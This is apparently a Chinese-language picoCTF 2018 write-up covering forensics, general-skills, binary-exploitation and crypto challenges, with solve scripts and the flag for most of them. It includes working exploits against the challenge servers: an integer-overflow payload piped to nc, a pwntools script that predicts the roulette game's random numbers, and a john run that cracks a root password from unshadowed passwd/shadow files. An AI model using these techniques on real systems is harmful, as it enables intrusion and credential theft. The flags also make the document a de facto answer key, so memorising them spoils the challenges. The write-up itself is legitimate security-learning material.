题目:

Forensics

Forensics Warmup 1

picoCTF{welcome_to_forensics}

Forensics Warmup 2

picoCTF{extensions_are_a_lie}

Desrouleaux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
nc 2018shell2.picoctf.com 63299
You'll need to consult the file `incidents.json` to answer the following questions.

What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones.
250.226.237.236
Correct!

How many unique destination IP addresses were targeted by the source IP address 193.1.59.100?
2
Correct!

What is the average number of unique destination IP addresses that were sent a file with the same hash? Your answer needs to be correct to 2 decimal places.
1.43
Correct!

Great job. You've earned the flag: picoCTF{J4y_s0n_d3rUUUULo_23fa6fa6}

/*精确到小数点后两位 (1+1+2+1+3+1+1)/7=1.43

import json
j=json.load(open('incidents.json'))
tickets=j['tickets']
hashes=dict()
for t in tickets:
	if t['file_hash'] not in hashes.keys():
		hashes[t['file_hash']]=[t['dst_ip']]
	else:
		hashes[t['file_hash']].append(t['dst_ip'])
print hashes
# {
# u'78d8572c143fb161': [u'90.174.224.210'], 
# u'a275ec611d018a67': [u'94.165.167.88'], 
# u'308f80097c708e3d': [u'90.174.224.210', u'216.243.24.241'], 
# u'27d9b03884d73aaa': [u'94.165.167.88'], 
# u'23420f902d5382e1': [u'94.165.167.88', u'16.139.98.188', u'46.11.226.205'], 
# u'ea45791ce3528103': [u'127.19.170.162'], 
# u'729b56eab8ac3252': [u'94.165.167.88']}
*/

Reading Between the Eyes

picoCTF{r34d1ng_b37w33n_7h3_by73s}

Recovering From the Snap

1
2
3
4
5
6
7
8
9
root@kali:~/桌面/picoctf# file animals.dd
animals.dd: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 32, heads 64, reserved 0x1, serial number 0x9b664dde, unlabeled, FAT (16 bit)
root@kali:~/桌面/picoctf# fdisk -lu animals.dd
Disk animals.dd: 10 MiB, 10485760 bytes, 20480 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

参考 这里 ,使用OSFMount 挂载磁盘,使用 TestDisk & PhotoRec 7.1-WIP, Data Recovery 恢复被删除的theflag.jpg

picoCTF{th3_5n4p_happ3n3d}

admin panel

用wireshark打开,导出HTTP对象,其中一个文件内容是user=admin&password=picoCTF{n0ts3cur3_df598569}

hex editor

1
2
strings hex_editor.jpg | grep pico
Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}"

Truly an Artist

1
2
strings 2018.png | grep pico
picoCTF{look_in_image_9f5be995}

now you don’t

picoCTF{n0w_y0u_533_m3}

Ext Super Magic

根据提示使用debugfs查看img文件,发现幻数损坏。

1
2
3
4
# debugfs ext.img
debugfs 1.44.4 (18-Aug-2018)
debugfs: Bad magic number in super-block while trying to open ext.img
.......

从文档(https://wiki.osdev.org/Ext2#Superblock)可以看到使用ext2文件系统的第一步是寻找、提取、解析superblock。superblock总是从卷的1024字节开始,长度为1024字节。也就是说,如果一个扇区是512字节,那么superblock位于第2、3扇区。而在superblock中,ext2文件的signature(0xef53)位于第56、57两个字节,所以我们要修正文件的magic number为正确的signature,也就是修改(1024+56,1024+57)bytes即(1080,1081)bytes即(0x438,0x439)bytes的值为0xef53 。需注意采用小端序,低字节在低地址。

根据文档修改superblock,然后可以mount到系统,发现有个flag图片。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# file fix.img
fix.img: Linux rev 1.0 ext2 filesystem data, UUID=a3708ef2-5ec0-4463-9a03-599c890645cd (large files)
# xxd ext.img > ext.hex
# xxd fix.img > fix.hex
# diff *.hex
68c68
< 00000430: 34dc ad5b 0100 ffff 0000 0100 0100 0000  4..[............
---
> 00000430: 34dc ad5b 0100 ffff 53ef 0100 0100 0000  4..[....S.......
# mkdir tmpdir && mount fix.img tmpdir && ll tmpdir/ | grep flag

尝试了多个命令行OCR工具,tesseract-ocr效果最好,但识别结果还需要修正。

1
2
3
4
5
6
$apt install gocr
$apt install cuneiform
$apt install tesseract-ocr
$tesseract cut_flag.jpg res && cat res.txt
Tesseract Open Source OCR Engine v4.0.0-rc4 with Leptonica
Your flag is: "picoCTF {FDBfbc6141e7F 4bscI90CIaE7SbI63aEf} "

最后结果:picoCTF{FDBfbC6141e7F4b8c90C9aE78b963aEf}

Lying Out

根据日常流量图判断流量可能异常的时间点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
log=[
    10900,10800,10850,11000,10800,10750,10800,10850,
    10900,11000,10800,10800,11000,10900,10700,10850,
    10800,10850,11000,11050,10650,10800,10700,11000,
    10900,10950,10950,10800,11000,11100,11900,13400,
    13800,13400,12000,11000,10800,10800,10700,10800,
    10800,11000,10900,11050,11800,13100,14600,16100,
    16600,16400,14400,12800,11800,11000,10950,10800,
    10800,10800,10800,10800,10900,10850,10850,10800,
    10800,11000,11000,11000,11400,11900,13000,14000,
    14800,15800,16200,15800,14700,13700,12200,12100,
    11100,11000,10900,10800,10700,11000,11000,10800,
    10900,10700,10900,10800,10750,10950,10900,10800
]

r=remote('2018shell2.picoctf.com',39410)
prompt=r.recvuntil('num_IPs')
data=r.recv()
nums=data.split()
print prompt,'\n',nums
group=len(nums)/4
res=[]
for i in range(group):
	t=nums[i*4+2].split(':')
	tt=int(t[0])*4+int(t[1])/15
	if int(nums[i*4+3])>log[tt]:
		res.append(nums[i*4])

r.sendline(' '.join(res))
print ' '.join(res),r.recv()
r.close()

# [x] Opening connection to 2018shell2.picoctf.com on port 39410
# [x] Opening connection to 2018shell2.picoctf.com on port 39410: Trying 18.224.157.204
# [+] Opening connection to 2018shell2.picoctf.com on port 39410: Done
# You'll need to consult the file `traffic.png` to answer the following questions.


# Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
#     log_ID      time  num_IPs 
# ['0', '0', '01:00:00', '11637', '1', '1', '01:30:00', '11640', '2', '2', '02:45:00', '11616', '3', '3', '10:45:00', '9962', '4', '4', '10:45:00', '10409', '5', '5', '11:45:00', '12732', '6', '6', '14:15:00', '10538', '7', '7', '16:15:00', '10233', '8', '8', '17:30:00', '10839', '9', '9', '20:15:00', '11936', '10', '10', '20:30:00', '9898', '11', '11', '21:45:00', '9653', '12', '12', '22:30:00', '10252', '13', '13', '23:15:00', '9619']
# 0 1 2 9 Correct!


# Great job. You've earned the flag: picoCTF{w4y_0ut_940df760}

# [*] Closed connection to 2018shell2.picoctf.com port 39410
# [Finished in 3.6s]

What’s My Name?

picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}

Malware Shops

附件貌似有问题,爆破出第一个答案是5,第二个随手交一下flag就出来了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nc 2018shell2.picoctf.com 57920
You'll need to consult the file `clusters.png` to answer the following questions.


How many attackers created the malware in this dataset?
5
Correct!


In the following sample of files from the larger dataset, which file was made by the same attacker who made the file 87847bfc? Indicate your answer by entering that file's hash.
       hash  jmp_count  add_count
0  87847bfc       32.0       29.0
1  7eeed4b3       34.0       34.0
2  ad5e4ce0       21.0       64.0
3  628e79cf       14.0       26.0
4  b5e53809       11.0       35.0
5  ebaf5ccd       15.0       13.0
6  94ad3582       37.0       10.0
7  42f1d364       23.0       68.0
8  93827b93       11.0       38.0
9  c08300fe       41.0       10.0
7eeed4b3
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_0915ebc6}

LoadSomeBits

最低有效位隐写,需要fuzz起始偏移。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# cat lsb.py
import binascii
lsb=''.join(map(lambda x:str(ord(x)&1),open('pico2018-special-logo.bmp','rb').read()))
for offset in range(16):
        tmp=lsb[offset:]
        tmps=''.join(chr(int(tmp[i:i+8],2)) for i in range(0,len(tmp),8))
        if  'pico' in tmps:
                print tmps
                break

# python lsb.py | strings | grep -o picoCTF{.*}
picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_2903593693}

core

core file或者core dunp是一个保存进程运行时内存镜像和进程状态(如寄存器的值等)的文件。没挂调试器的程序崩溃时一般会自动产生core文件用于post-mortem debugging。可以使用 gdb program [core dump] 开始调试。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(gdb) disas main
Dump of assembler code for function main:
   0x080487ec <+0>:     lea    ecx,[esp+0x4]
   0x080487f0 <+4>:     and    esp,0xfffffff0
   0x080487f3 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080487f6 <+10>:    push   ebp
   0x080487f7 <+11>:    mov    ebp,esp
   0x080487f9 <+13>:    push   ecx
   0x080487fa <+14>:    sub    esp,0x4
   0x080487fd <+17>:    call   0x80485bb <load_strings>
   0x08048802 <+22>:    call   0x80487c1 <print_flag>
   0x08048807 <+27>:    mov    eax,0x0
   0x0804880c <+32>:    add    esp,0x4
   0x0804880f <+35>:    pop    ecx
   0x08048810 <+36>:    pop    ebp
   0x08048811 <+37>:    lea    esp,[ecx-0x4]
   0x08048814 <+40>:    ret
End of assembler dump.
(gdb) disas print_flag
Dump of assembler code for function print_flag:
=> 0x080487c1 <+0>:     push   ebp
   0x080487c2 <+1>:     mov    ebp,esp
   0x080487c4 <+3>:     sub    esp,0x18
   0x080487c7 <+6>:     mov    DWORD PTR [ebp-0xc],0x539
   0x080487ce <+13>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080487d1 <+16>:    mov    eax,DWORD PTR [eax*4+0x804a080]
   0x080487d8 <+23>:    sub    esp,0x8
   0x080487db <+26>:    push   eax ;flag字符串的地址保存在eax中
   0x080487dc <+27>:    push   0x804894c
   0x080487e1 <+32>:    call   0x8048410 <printf@plt>
   0x080487e6 <+37>:    add    esp,0x10
   0x080487e9 <+40>:    nop
   0x080487ea <+41>:    leave
   0x080487eb <+42>:    ret
End of assembler dump.
(gdb) x/sb *(0x804a080+4*0x539)
0x80610f0:      "c96bd0fa2da5c0853cf12c4f93fce288"s

picoCTF{c96bd0fa2da5c0853cf12c4f93fce288}每个人的答案是不同的。

General Skills

absolutely relative

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
    char flag[99];
    char permission[10];
    int i;
    FILE * file;


    file = fopen("/problems/absolutely-relative_2_69862edfe341b57b6ed2c62c7107daee/flag.txt" , "r");
    if (file) {
    	while (fscanf(file, "%s", flag)!=EOF)
    	fclose(file);
    }   
	
    file = fopen( "./permission.txt" , "r");
    if (file) {
    	for (i = 0; i < 5; i++){
            fscanf(file, "%s", permission);
        }
        permission[5] = '\0';
        fclose(file);
    }
    
    if (!strncmp(permission, yes, yes_len)) {
        printf("You have the write permissions.\n%s\n", flag);
    } else {
        printf("You do not have sufficient permissions to view the flag.\n");
    }
    
    return 0;
}

picoCTF{3v3r1ng_1$_r3l3t1v3_372b3859}

Aca-Shell-A

1
picoCTF{CrUsHeD_It_17ab99f5}

in out error

1
2
echo "Please may I have the flag?" | ./in-out-error  > ~/result.txt
#picoCTF{p1p1ng_1S_4_7h1ng_f37fb67e}

learn gdb

picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814}

store

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
root@kali:~# curl https://2018shell2.picoctf.com/static/655fb38d2f256165a0163d4a606f998a/source.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        printf("Welcome to the Store App V1.0\n");
        printf("World's Most Secure Purchasing App\n");

        printf("\n[1] Check Account Balance\n");
        printf("\n[2] Buy Stuff\n");
        printf("\n[3] Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Current Auctions\n");
            printf("[1] I Can't Believe its not a Flag!\n");
            printf("[2] Real Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("Imitation Flags cost 1000 each, how many would you like?\n");
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 1000*number_flags;
                    printf("\nYour total cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour new balance: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds\n");
                    }   
                }
            }
            else if(auction_choice == 2){
                printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to purchase");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){                
                    if(account_balance > 100000){
                        printf("YOUR FLAG IS:\n");
                        }                 
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}
            }
        }
        else{
            con = 1;
        }
    }
    return 0;
}

整数溢出。

1
2
python -c 'print "2\n1\n"+str(((1100-100001)+2**32)/1000)+"\n2\n2\n1\n3\n"' | nc 2018shell2.picoctf.com 43581 | grep pico
# Enter 1 to purchaseYOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_6bd13a8c}

roulette

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>

#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#define NUM_LOSE_MSGS 5

long cash = 0;
long wins = 0;
//判断字符是否是数字,是则返回真。
int is_digit(char c) {
    return '0' <= c && c <= '9';
}
//从stdin获取一个长整型正数,最大为LONG_MAX,以换行结尾。
long get_long() {
    printf("> ");
    uint64_t l = 0;
    char c = 0;
    while(!is_digit(c))
      c = getchar();
    while(is_digit(c)) {
      if(l >= LONG_MAX) {
	l = LONG_MAX;
	break;
      }
      l *= 10;
      l += c - '0';
      c = getchar();
    }
    while(c != '\n')
      c = getchar();
    return l;
}
//随机返回一个小于5000的正整数
long get_rand() {
  long seed;
  FILE *f = fopen("/dev/urandom", "r");
  fread(&seed, sizeof(seed), 1, f);
  fclose(f);
  seed = seed % 5000;
  if (seed < 0) seed = seed * -1;
  srand(seed);
  return seed;
}
//打印当前资金和获胜次数,下注。(输入点一)
long get_bet() {
  while(1) {
    puts("How much will you wager?");
    printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); 
    long bet = get_long(); 
    if(bet <= cash) {
      return bet;
    } else {
      puts("You can't bet more than you have!");
    }
  }
}
//选择下注目标1~36.(输入点二)
long get_choice() {
  while (1) {
    printf("Choose a number (1-%d)\n", ROULETTE_SIZE);
    long choice = get_long();
    if (1 <= choice && choice <= ROULETTE_SIZE) {
      return choice;
    } else {
      puts("Please enter a valid choice.");
    }
  }
}
//打印flag
int print_flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Failed to open the flag file\n");
    return -1;
  }
  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}
//一些输赢后的提示语
const char *win_msgs[NUM_WIN_MSGS] = {
  "Wow.. Nice One!",
  "You chose correct!",
  "Winner!",
  "Wow, you won!",
  "Alright, now you're cooking!",
  "Darn.. Here you go",
  "Darn, you got it right.",
  "You.. win.. this round...",
  "Congrats!",
  "You're not cheating are you?",
};

const char *lose_msgs1[NUM_LOSE_MSGS] = {
  "WRONG",
  "Nice try..",
  "YOU LOSE",
  "Not this time..",
  "Better luck next time..."
};

const char *lose_msgs2[NUM_LOSE_MSGS] = {
  "Just give up!",
  "It's over for you.",
  "Stop wasting your time.",
  "You're never gonna win",
  "If you keep it up, maybe you'll get the flag in 100000000000 years"
};
//模拟转盘效果
void spin_roulette(long spin) {
  int n;
  puts("");
  printf("Roulette  :  ");
  int i, j;
  int s = 12500;
  for (i = 0; i < ROULETTE_SPINS; i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    if (((i%ROULETTE_SIZE)+1) == spin) {
      for (j = 0; j < n; j++) {
	printf("\b \b");
      }
      break;
    }
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (int k = 0; k < ROULETTE_SIZE; k++) {
    n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);
    s = 1.1*s;
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  printf("%ld", spin);
  usleep(s);
  puts("");
  puts("");
}
//生成一个随机数,如果和choice一样,就给cash加双倍bet。
void play_roulette(long choice, long bet) {
  
  printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet);
  long spin = (rand() % ROULETTE_SIZE)+1;

  spin_roulette(spin);
  
  if (spin == choice) {
    cash += 2*bet;
    puts(win_msgs[rand()%NUM_WIN_MSGS]);
    wins += 1;
  }
  else {
    puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);
    puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);
  }
  puts("");
}
//获得一笔随机数额的小于5000的初始资金;下注直到cash大于ONE_BILLION(1000000000)且wins大等于HOTSTREAK(3)小于MAX_WINS(16)获得flag。
int main(int argc, char *argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);

  cash = get_rand();
  
  puts("Welcome to ONLINE ROULETTE!");
  printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);
  puts("");
  
  long bet;
  long choice;
  while(cash > 0) {
      bet = get_bet();
      cash -= bet;
      choice = get_choice();
      puts("");
      
      play_roulette(choice, bet);
      
      if (wins >= MAX_WINS) {
	printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);
	printf("Congrats you made $%lu. See you next time!\n", cash);
	exit(-1);
      }
      
      if(cash > ONE_BILLION) {
	printf("*** Current Balance: $%lu ***\n", cash);
	if (wins >= HOTSTREAK) {
	  puts("Wow, I can't believe you did it.. You deserve this flag!");
	  print_flag();
	  exit(0);
	}
	else {
	  puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
	  exit(-1);
	}
	}
  }
  puts("Haha, lost all the money I gave you already? See ya later!");
  return 0;
}

提示说有两个bug。

其一出现在第27行,get_Long()函数的uint64_t l = 0; 。函数声明的返回值为long 型,实际返回值为uint64_t 型,前者有符号最大值为LONG_MAX:2^31-1 ,后者无符号最大值为ULONG_MAX:2^64-1 ,存在向上溢出为负数的风险。

真正使上溢成为可能的是32-35行 if(l >= LONG_MAX){l = LONG_MAX; break;} ,这个判断希望控制返回值不超过long 型数据的最大值,但应该写在while循环结束的地方而不是开始的地方,否则只能控制数据进入循环时符合条件,而离开时就不知道了,十倍以内都是可能的,而这足以溢出了。

到此为止,我们可以控制cash为任意值了,只要输入bet为 当前cash+2^32-目标cash ,在大概率(35/36)输的情况下,我们就能让cash变为想要的值。

要拿到flag还要求赢至少三次,那问题不大,下小注总会有赢的时候。按概率来算,总是对固定choice下注,可以期望在100次左右赢三次。但题目做了控制,太频繁交互会被禁止连接。于是看看其他的方法。

如果要改变wins,只能使choice与166行的 long spin = (rand() % ROULETTE_SIZE)+1; 相等,那么会发现这个随机数序列是在第52行播种的,种子就是我们的初始资金,是已知的。于是就可以知道每一次的spin了。EXP搬运自 https://github.com/sefi-roee/CTFs-Writeups/blob/master/picoCTF-2018/General/18-roulette-350/solution.md ,偷个懒就不写了。

picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_e9328e04}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#get_rand_seq.c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>

int main(int argc, char *argv[]) {
    int seed = atoi(argv[1]);

    srand(seed);

    for (int i = 0; i < 100; ++i)
        printf("%d,", rand());

    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python

from pwn import *
import subprocess


r = remote('2018shell1.picoctf.com', 21444)

sleep(1)
lines = r.recvuntil('> ').split('\n')
print '\n'.join(lines)

balance = int(lines[1].split()[2][1:])

log.info("Start balance: {}".format(balance))

log.info("Predicting random values")
values = subprocess.check_output(["./get_rand_seq", str(balance)])
values = values.split(',')
values = [int(v, 10) for v in values[:-1]]

i = 0

ROULETTE_SIZE = 36

for _ in range(4):
   spin = (values[i] % ROULETTE_SIZE) + 1
   i += 2

   log.info("Putting {}$ on {}".format(balance, spin))

   r.sendline("{}".format(balance))
   r.sendline("{}".format(spin))

   balance *= 2

   print r.recvuntil('> ')

   print r.recv()

spin = (values[i] % ROULETTE_SIZE) + 1
i += 2

log.info("Putting {}$ on {}".format(11474836400, spin))

r.sendline("{}".format(11474836400)) # Put some negative numbers, bug in get_long
r.sendline("{}".format((spin + 1) % 36))

print r.recvuntil('You deserve this flag!')
print r.recvall()

r.close()

scriptme

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
root@kali:~/bintest# nc 2018shell2.picoctf.com 61344
Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()()()) + (()) = ???

solve.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

def depth(s):
    cnt=0
    while(len(s)!=0):
        s=s.replace('()','')
        cnt+=1
    return cnt
def calc(s1,s2):
    d1=depth(s1)
    d2=depth(s2)
    if d1==d2:
        return s1+s2
    if d1<d2:
        return "(%s%s)"%(s1,s2[1:-1])
    if d1>d2:
        return "(%s%s)"%(s1[1:-1],s2)
solve = lambda x:reduce(calc,x.replace(" ",'').split('+'))

host = '2018shell2.picoctf.com'
port = 61344
r=remote(host,port)
while True:
	try:
		lines=r.recvuntil('\n>').split('\n')
		print '\n'.join(lines)
		din=lines[-3].split('=')[0]
		r.sendline(solve(din))
	except:
		print r.recv()
		break
r.close()

picoCTF{5cr1pt1nG_l1k3_4_pRo_cde4078d}

binary exploitation

buffer overflow 0

picoCTF{ov3rfl0ws_ar3nt_that_bad_b49d36d2}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

Cryptography

Crypto Warmup 1

1
2
>>> print "picoCTF{%s}"%''.join(map(lambda x:chr((ord(x[0])-ord(x[1]))%26+ord('a')),zip('llkjmlmpadkkc','thisisalilkey'))).upper()
picoCTF{SECRETMESSAGE}

caesar cipher 2

1
2
''.join(map(lambda x:chr((ord(x)+32)%0xff),'PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]'))
# 'picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}'

hertz

替换密码。

在线工具:

blaise’s cipher

在线解密即可:https://www.dcode.fr/vigenere-cipher 。逐步得到KEY长度为4,KEY为FLAG

picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_901e13a1}

Safe RSA

1
2
3
4
5
6
import gmpy2,binascii
e=3
c=2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125
m=gmpy2.iroot(c,e)[0]
print binascii.unhexlify(hex(m).strip('lL')[2:])
# picoCTF{e_w4y_t00_sm411_9f5d2464}

【X】Super Safe RSA

参考RSA的广播攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = findneo

import gmpy2,re
from pwn import connect
from time import sleep
c=[]
n=[]

with open('buf','r') as f:
    for i in f.readlines():
        j=i.strip().split(' ')
        c.append(int(j[0]))
        n.append(int(j[1]))
print "mytag:",len(c)
with open('buf','a') as f:
    while len(c)<65538:
        r=connect('2018shell2.picoctf.com',24039)
        res=r.recv()
        g=re.findall('c: (\d+)\nn: (\d+)\n.*',res)[0]
        f.write(' '.join(g)+'\n')
        c.append(g[0])
        n.append(g[1])
        r.close()
        # sleep(0.1)
        if len(c)%1000==0:
            print 'mytag:',len(c)
def GCRT(mi, ai):
    # mi,ai分别表示模数和取模后的值,都为列表结构
    assert (isinstance(mi, list) and isinstance(ai, list))
    curm, cura = mi[0], ai[0]
    for (m, a) in zip(mi[1:], ai[1:]):
        d = gmpy2.gcd(curm, m)
        c = a - cura
        assert (c % d == 0) #不成立则不存在解
        K = c / d * gmpy2.invert(curm / d, m / d)
        cura += curm * K
        curm = curm * m / d
        cura %= curm
    return (cura % curm, curm) #(解,最小公倍数)

print GCRT(n,c)[0]

HEEEEEEERE’S Johnny!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
unshadow passwd shadow > unshadowes.txt
john --wordlist=~/mywordlists/rockyou.txt --rules unshadowes.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
thematrix        (root)
1g 0:00:00:16 DONE (2018-10-10 10:04) 0.06002g/s 660.7p/s 660.7c/s 660.7C/s kenya..saavedra
Use the "--show" option to display all of the cracked passwords reliably
Session completed

nc 2018shell2.picoctf.com 38860
Username: root
Password: thematrix
picoCTF{J0hn_1$_R1pp3d_4e5aa29e}

rsa-madlibs

回答一些简单的RSA知识。可以参考CTF中常见的RSA相关问题总结 一文。

发现一个做这类题目的好方法,python solve.py | nc 2018shell2.picoctf.com 18148 ,不到必要就不去处理各种奇怪的数据。

